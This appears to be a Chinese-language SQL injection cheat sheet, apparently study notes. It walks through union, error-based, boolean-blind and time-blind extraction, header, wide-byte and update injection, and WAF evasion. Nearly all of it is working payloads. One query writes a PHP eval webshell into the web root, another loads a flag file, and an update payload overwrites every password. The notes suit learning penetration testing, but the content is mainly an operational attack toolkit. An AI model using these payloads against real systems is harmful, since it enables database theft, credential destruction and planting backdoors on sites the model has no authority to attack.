SQL注入

1.1 sql注入标准流程
1、推测其数据库的大致语法
eg:select * from 某表 where id = ‘xx’ limit 0,1
2、通过错误写入让其报错,显示其闭合方式
\ 是转义字符,把后面第一个东西变成字符串
select user,pass from user where id = ‘2\‘ limit 0,1
等价于select user,pass from user where id = ‘2’' limit 0,1
这样闭合错误就会报错!
一些常用的闭合方法:
- ‘ ’
- ” “
- ( )
- (‘ ‘)
- (“ “)
- (( ))
- ((‘ ‘))
- ((“ “))
- ` `
- (% %) #搜索框常见
3、验证其闭合方式
例如是 ’ ‘ 闭合,则输入2' --+
,若查询成功说明闭合正确
–相当于注释符,+相当于空格,–+会注释掉后面的内容
4、确认有多少列
select * from 某表 where id = ‘xx’ order by 5
select * from 某表 where id = ‘xx’ order by 3
当小于或等于其正确数列时,才会查询成功
5、联合查询,显示报错位
select * from 某表 where id = ‘-1’ union select 1,2,3 --+
使union前查询出错即可,即会显出网站的报错位
6、开始爆库和其他内容
-1’ union select 1,database(),3 --+
库
-1’ union select 1,version(),3 --+
当前版本
-1’ union select 1,user(),3 --+
当前用户
-1’ union select 1,@@datadir,3 --+
数据库物理路径
7、爆表
一条一条查:
-1’ union select 1,table_name,3 from information_schema.tables where table_schema='库名' limit 0,1 --+
也可以一起查:-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='库名' --+
8、查列
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='库名' and table_name='表名' --+
9、查字段
-1' union select 1,group_concat(列名),3 from 表名 --+
1.2 报错注入
当发现数据库除了报错信息外,其他没有任何反应,此时考虑报错注入
1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b) --+
简单高效的两种:
id=1' and extractvalue(1,concat(0x7e,(database()),0x7e)) --+
id=2' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
1.3.1 布尔盲注
使用情况:这个地方有数据库查询,但是没有显示位,会报错但是不出现信息,错误和正确的页面有区别
id=2’ and 0 –+
id=2’ and 1<2 –+
查询成功则说明可以夹带私货
相关小知识:
select length(database())
计算数据库库名有几个字
select substr(database(),1,1)
截取数据库库名,从第1个字开始截取1位
select ascii(substr(database(),1,1))
把这个内容转为ASCII码
操作大致位一个一个字符去查询
id=1' and (select ascii(substr(database(),1,1))) < 115 --+
走流程:
id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1))) < 115 --+
实战时基本都交给sqlmap去操作
1.3.2 布尔时间盲注
使用情况:这个地方有数据库查询,但是没有显示位,也不会出现信息,错误也不会告诉你
相关小知识:
select sleep(5);
数完5s后输出一个0
select if((select database())='haha',sleep(5),null)
判断一下数据库的库名是否为haha,是就睡5s,不是就不管
实际操作:
1、先判断是否可以睡觉
id=1' and sleep(5) --+
2、查库
id=1' and if((select database())='库名',sleep(5),null) --+
3、走流程
id=1' and if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(5),null) --+
……一般还是交给sqlmap搞定
1.4 Update注入
常见于密码更新sql语句,会更改数据库中所有的密码,危害较大谨慎使用
' or 1=1 #
update users set password=' ' or 1=1 # ' where username=' admin '
1.5 POST注入
法一:
万能密码:”) or 1=1 #
select username,password from [表] where username=(" ") or 1=1 # ") and password=(" ") limit 0,1
法二:
使用burpsuite抓包,抓的包送至repeater模块
接着走常规流程
1.6.1 http头注入
一些网站会获取你的User-Agent并记录在他的数据库中
推测其大致sql语句为
insert into 'security'.'某个表' (uagent,ipadd,username) values('浏览器信息','ip地址','用户名')
注入点通常在浏览器信息即User-Agent这块
通常post无法使用注释符,常用and '1'='1
来闭合
实操
' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
原句
insert into 'security'.'某个表' (uagent,ipadd,username) values('' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1','ip地址','用户名')
1.6.2 reffer,cookie注入
reffer即来路
两者的注入方式于http注入类似
1.7 宽字节注入
mysql用gbk编码,把2个字符当做一个汉字
%df把\吃掉,因为\进行url编码为%5c,而%df%5c为一个汉字,然而汉字是不会被解析出来的,就会当做一个空格,这样单引号就可以独立出来了
id=-2%df'union select 1,2,3 --+
如果碰到post类型
burp抓包,在目标位置admin%df%27 union select 1,2 #
把%df%27框起来,右键–convert selection–url—url decode
因为get会自动把数据进行url解码!!!!post不会把数据进行url解码!!!!
1.8 文件相关注入
相关知识:
apache网站位置:/var/www/html;旧版本apache网络位置/var/www
取出数据并写入文件:select * from 某表 into outfile "文件路径";
显示某个文件:select load_file(“文件路径”);
加载某个文件并转存:select load_file("文件路径") into outfile ("文件路径")
实操:
index.php?id=1') union select 1,'<?php @eval($_POST["cmd"]);?>',3 into outfile "/var/www/html/haha.php" --+
index.php?id=1') union select 1,load_file("c:/flag.txt"),3 into outfile "/var/www/html/haha1.txt" --+
2.1 一些绕过waf技巧
大小写绕过
Union SelEcT双写绕过
uniunionon编码绕过
security–》hex
urlencode注释符绕过
uni//on sel//ect空格绕过
替代空格的东西
%09 水平tab键
%0a 新建一行
%0c 新建一页
%0d 回车键
%0b 垂直tab键
%a0 空格键
or and 绕过
单引号
反引号
大多数情况下,反引号只能出现在表名,有的时候表名和数据库某个语法语句类似的,否则数据库会误以为是语法
select * from`from` where id=1内联注释
and /!select/ 1,2<>绕过
un<>ion se<>lect
select * from users where id=1 and ascii(substr(database(),1,1)) > 115
greatest least
select * from users where id=1 and greatest(ascii(substr(database(),1,1)),115)
- 屏蔽逗号
select substr(“xxxxxx”,1,3)
select substr(“xxxxxx” from 1 to 3)
union select 1,2,3;
union select * from (select 1)a join (select 2)b join (select 3)c;
limit 0,1
limit 0 offset 1
屏蔽sleep
and sleep(1)
and benchmark(10000000000,1)group_concat屏蔽
select group_concat(“haha”,”nihao”)
select concat_ws(“”,”haha”,”nihao”)等号屏蔽
like rlike regexp <>
id=1’ or 1 like 1
id=1’ or 1 <> 1post情况屏蔽#
id=3”) or 1=1 – aip地址拦截
X-Forwarded-For:
X-remote-IP
X-Originating-IP
X-remote-addr
X-Real-IP修改静态资源
www.xxx.com/sql.php?id=1
可以替换为
www.xxx.com/sql.php/1.js?id=1url白名单绕过
为了防止防火墙误伤,会设置白名单/admin.php manager system
www.xxx.com/sql.php?id=1
www.xxx.com/sql.php/admin.php?id=1
www.xxx.com/sql.php?xxxx=/manager/&b=攻击代码
www.xxx.com/../../../../manager/../../../sql.php?id=1
爬虫白名单
伪造自己是搜索引擎(修改ua)数据库注释执行
/!50001 select * from users/
如果数据库是5.00.01以下的才会执行增加干扰
union all %23%a0 select 1,2,3